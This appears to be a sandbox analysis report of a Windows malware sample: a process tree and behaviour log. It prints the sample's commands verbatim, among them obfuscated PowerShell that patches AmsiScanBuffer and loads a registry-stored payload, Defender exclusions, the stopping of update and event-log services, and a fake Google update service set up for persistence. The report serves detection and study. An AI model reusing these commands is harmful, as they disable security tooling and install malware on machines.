PID 1992 wrote to memory of 1016	1992	dllhost.exe	dwm.exe
PID 1992 wrote to memory of 436	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 696	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 1080	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 1104	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 1120	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 1152	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 1268	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 1292	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 1340	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 1376	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 1436	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 1568	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 1584	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 1624	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 1704	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 1736	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 1760	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 1824	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 1876	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 1888	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 2004	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 884	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 2056	1992	dllhost.exe	spoolsv.exe
PID 1992 wrote to memory of 2176	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 2212	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 2224	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 2348	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 2360	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 2488	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 2568	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 2600	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 2608	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 2628	1992	dllhost.exe	sysmon.exe
PID 1992 wrote to memory of 2956	1992	dllhost.exe	unsecapp.exe
PID 1992 wrote to memory of 2964	1992	dllhost.exe	sihost.exe
PID 1992 wrote to memory of 2988	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 392	1992	dllhost.exe	taskhostw.exe
PID 1992 wrote to memory of 3176	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 3364	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 3456	1992	dllhost.exe	Explorer.EXE
PID 1992 wrote to memory of 3572	1992	dllhost.exe	svchost.exe
PID 1992 wrote to memory of 3748	1992	dllhost.exe	DllHost.exe
PID 1992 wrote to memory of 3940	1992	dllhost.exe	RuntimeBroker.exe
PID 1992 wrote to memory of 3852	1992	dllhost.exe	RuntimeBroker.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:612
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1016
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{913f847a-2d76-4bd4-b1b3-e10e37e46ad9}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1992
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{54e8d8b2-ad3d-4609-9162-faf425077286}
  2⤵
  PID:5040

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:936

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:436

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:696

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1104

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1152
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:qGizraFaxxBX{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$oIvBKAthIcoQJj,[Parameter(Position=1)][Type]$MVRoQnyvSu)$rcDKxFFcljc=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+'f'+[Char](108)+''+'e'+''+'c'+''+[Char](116)+''+'e'+'d'+[Char](68)+'e'+[Char](108)+''+'e'+''+'g'+'a'+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+'e'+''+[Char](109)+''+[Char](111)+''+'r'+''+[Char](121)+''+'M'+''+[Char](111)+'d'+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType(''+[Char](77)+'y'+'D'+'e'+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+'t'+''+'e'+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+'e'+'',''+[Char](67)+'l'+[Char](97)+'ss'+','+''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+'ic'+','+''+[Char](83)+''+'e'+'a'+'l'+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+'A'+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+'C'+'l'+'a'+''+[Char](115)+''+'s'+''+[Char](44)+''+'A'+''+'u'+''+'t'+''+'o'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$rcDKxFFcljc.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+'p'+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+'N'+[Char](97)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+'e'+[Char](66)+'y'+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+'P'+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$oIvBKAthIcoQJj).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+''+'t'+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+[Char](77)+''+'a'+''+'n'+'a'+'g'+''+[Char](101)+'d');$rcDKxFFcljc.DefineMethod(''+'I'+'n'+'v'+''+[Char](111)+'ke',''+[Char](80)+'u'+'b'+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+'H'+'id'+'e'+''+'B'+''+[Char](121)+''+'S'+'i'+'g'+''+[Char](44)+''+[Char](78)+'e'+[Char](119)+''+[Char](83)+''+[Char](108)+''+'o'+''+[Char](116)+',V'+[Char](105)+''+[Char](114)+''+[Char](116)+'ual',$MVRoQnyvSu,$oIvBKAthIcoQJj).SetImplementationFlags('Run'+[Char](116)+'ime'+','+''+[Char](77)+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');Write-Output $rcDKxFFcljc.CreateType();}$oAqcVToeAKEDm=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+''+'s'+''+[Char](116)+''+[Char](101)+''+'m'+''+'.'+''+[Char](100)+''+[Char](108)+'l')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+'f'+''+'t'+'.'+[Char](87)+''+[Char](105)+''+[Char](110)+''+'3'+'2.'+[Char](85)+''+[Char](110)+''+'s'+''+[Char](97)+'fe'+'N'+''+[Char](97)+'t'+[Char](105)+''+[Char](118)+''+'e'+''+[Char](77)+'et'+'h'+''+[Char](111)+'d'+[Char](115)+'');$FNsKXqLRjKGcfu=$oAqcVToeAKEDm.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+'Pr'+[Char](111)+'c'+'A'+''+'d'+''+'d'+''+'r'+''+[Char](101)+'ss',[Reflection.BindingFlags](''+[Char](80)+''+'u'+'b'+[Char](108)+''+[Char](105)+''+'c'+''+','+'S'+[Char](116)+'a'+'t'+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$FsmOXxUkagmJAWikCmN=qGizraFaxxBX @([String])([IntPtr]);$sjLUEoUSFIROFOCOazxlBb=qGizraFaxxBX @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$irqdsawgzBS=$oAqcVToeAKEDm.GetMethod(''+'G'+'e'+[Char](116)+''+[Char](77)+'o'+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+'e'+[Char](114)+''+[Char](110)+''+'e'+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+'d'+''+'l'+''+'l'+'')));$qYkFwkfkpmVHcm=$FNsKXqLRjKGcfu.Invoke($Null,@([Object]$irqdsawgzBS,[Object](''+[Char](76)+''+[Char](111)+'a'+[Char](100)+''+[Char](76)+''+'i'+''+'b'+''+'r'+''+'a'+''+[Char](114)+'y'+'A'+'')));$xaHnaRyZGqWTObbjF=$FNsKXqLRjKGcfu.Invoke($Null,@([Object]$irqdsawgzBS,[Object]('V'+'i'+'rt'+[Char](117)+''+[Char](97)+''+[Char](108)+''+'P'+''+[Char](114)+'ot'+[Char](101)+'c'+[Char](116)+'')));$LWCxpma=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qYkFwkfkpmVHcm,$FsmOXxUkagmJAWikCmN).Invoke(''+[Char](97)+''+[Char](109)+'s'+[Char](105)+'.'+[Char](100)+''+[Char](108)+'l');$phcVUgvURUikJPSDY=$FNsKXqLRjKGcfu.Invoke($Null,@([Object]$LWCxpma,[Object](''+[Char](65)+'m'+'s'+'i'+[Char](83)+''+[Char](99)+''+[Char](97)+''+'n'+''+[Char](66)+''+'u'+'ffer')));$BZQjrCUOYI=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xaHnaRyZGqWTObbjF,$sjLUEoUSFIROFOCOazxlBb).Invoke($phcVUgvURUikJPSDY,[uint32]8,4,[ref]$BZQjrCUOYI);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$phcVUgvURUikJPSDY,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xaHnaRyZGqWTObbjF,$sjLUEoUSFIROFOCOazxlBb).Invoke($phcVUgvURUikJPSDY,[uint32]8,0x20,[ref]$BZQjrCUOYI);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+'F'+'T'+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue('di'+'a'+'l'+[Char](101)+''+'r'+''+[Char](115)+''+'t'+'a'+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:MNFEVnPHfDch{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$rZtWgGeURlraAF,[Parameter(Position=1)][Type]$PEmFeQyZBp)$nknVGtpJuEd=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'f'+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'e'+[Char](100)+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+'ga'+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'nM'+[Char](101)+''+'m'+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+[Char](101)+''+[Char](108)+''+'e'+'g'+'a'+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+'y'+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+''+'s'+''+'s'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+'i'+'c'+',Se'+'a'+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+','+''+[Char](65)+''+[Char](110)+'s'+[Char](105)+''+[Char](67)+''+[Char](108)+''+'a'+'s'+'s'+','+[Char](65)+'ut'+'o'+'C'+'l'+''+'a'+''+'s'+'s',[MulticastDelegate]);$nknVGtpJuEd.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+''+[Char](101)+''+'c'+'ia'+[Char](108)+''+[Char](78)+''+[Char](97)+'me,'+[Char](72)+'i'+[Char](100)+''+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+''+'P'+''+'u'+'b'+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$rZtWgGeURlraAF).SetImplementationFlags(''+'R'+'u'+'n'+''+[Char](116)+'i'+[Char](109)+''+'e'+''+[Char](44)+''+'M'+'an'+'a'+'g'+'e'+''+[Char](100)+'');$nknVGtpJuEd.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+[Char](111)+''+[Char](107)+''+'e'+'',''+[Char](80)+''+[Char](117)+'b'+'l'+''+'i'+''+'c'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+','+''+'V'+'i'+[Char](114)+''+[Char](116)+''+[Char](117)+''+'a'+'l',$PEmFeQyZBp,$rZtWgGeURlraAF).SetImplementationFlags(''+'R'+''+[Char](117)+'n'+[Char](116)+''+'i'+''+[Char](109)+''+'e'+''+','+'M'+[Char](97)+''+[Char](110)+'a'+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $nknVGtpJuEd.CreateType();}$yLfwPJgtHnVmj=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+'.'+''+[Char](100)+'ll')}).GetType('Micr'+[Char](111)+'s'+[Char](111)+''+[Char](102)+''+[Char](116)+'.W'+'i'+''+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+''+'U'+''+[Char](110)+''+[Char](115)+'a'+'f'+'e'+[Char](78)+''+[Char](97)+'t'+'i'+''+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+'tho'+'d'+''+[Char](115)+'');$ucShtxiyvcZRmj=$yLfwPJgtHnVmj.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+'c'+''+[Char](65)+''+[Char](100)+'d'+[Char](114)+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+'u'+[Char](98)+''+'l'+''+[Char](105)+'c'+','+''+[Char](83)+''+[Char](116)+'a'+[Char](116)+'i'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$dtXWFdtBTqqYHhsSEGn=MNFEVnPHfDch @([String])([IntPtr]);$vBBGxJFjUsJExitDRkyLKd=MNFEVnPHfDch @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$LjixHFhwGBc=$yLfwPJgtHnVmj.GetMethod(''+[Char](71)+''+[Char](101)+'tM'+[Char](111)+''+'d'+''+'u'+''+[Char](108)+''+'e'+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+''+[Char](110)+''+'e'+''+[Char](108)+''+[Char](51)+'2.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$LQrdGGEkpoOrId=$ucShtxiyvcZRmj.Invoke($Null,@([Object]$LjixHFhwGBc,[Object](''+'L'+''+'o'+''+'a'+''+'d'+''+'L'+'i'+'b'+'r'+'a'+''+[Char](114)+''+'y'+''+'A'+'')));$LQIlcwIGzGFsrKKZv=$ucShtxiyvcZRmj.Invoke($Null,@([Object]$LjixHFhwGBc,[Object](''+'V'+''+'i'+'r'+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+'P'+'r'+'o'+[Char](116)+''+'e'+''+'c'+''+[Char](116)+'')));$mBChEvl=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LQrdGGEkpoOrId,$dtXWFdtBTqqYHhsSEGn).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+'i'+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'');$SqlZJkpkrLLbMpkyn=$ucShtxiyvcZRmj.Invoke($Null,@([Object]$mBChEvl,[Object](''+'A'+''+'m'+''+'s'+''+[Char](105)+''+[Char](83)+'ca'+[Char](110)+''+[Char](66)+''+[Char](117)+''+'f'+''+[Char](102)+''+'e'+''+'r'+'')));$nUlhbvCuMg=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LQIlcwIGzGFsrKKZv,$vBBGxJFjUsJExitDRkyLKd).Invoke($SqlZJkpkrLLbMpkyn,[uint32]8,4,[ref]$nUlhbvCuMg);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$SqlZJkpkrLLbMpkyn,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LQIlcwIGzGFsrKKZv,$vBBGxJFjUsJExitDRkyLKd).Invoke($SqlZJkpkrLLbMpkyn,[uint32]8,0x20,[ref]$nUlhbvCuMg);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'OFT'+[Char](87)+'A'+[Char](82)+''+[Char](69)+'').GetValue(''+'d'+''+'i'+''+'a'+''+[Char](108)+''+[Char](101)+''+[Char](114)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1724
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1268

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1292

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1436
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1568

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1584

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1624

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1704

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1736

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1760

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1876

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2004

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:884

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2056

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2212

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2224

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2348

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2360

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2568

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2600

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2608

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2628

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3364

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3456
- C:\Users\Admin\AppData\Local\Temp\e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
  "C:\Users\Admin\AppData\Local\Temp\e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe"
  2⤵
  - Drops file in Drivers directory
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4612
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3344
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3044
  - - C:\Windows\system32\wusa.exe
      wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:4884
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4796
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:4032
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1132
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop bits
    3⤵
    - Launches sc.exe
    PID:4944
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop dosvc
    3⤵
    - Launches sc.exe
    PID:1184
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:4936
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:4824
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:4052
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:1840
- - C:\Windows\system32\dialer.exe
    C:\Windows\system32\dialer.exe
    3⤵
    PID:3860
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
    3⤵
    - Launches sc.exe
    PID:3372
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:2748
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:2896
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
    3⤵
    - Launches sc.exe
    PID:4428
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3572

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3748

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3940

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3852

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:2620

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4532

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:4744

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1988

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4268

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2996

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:5056

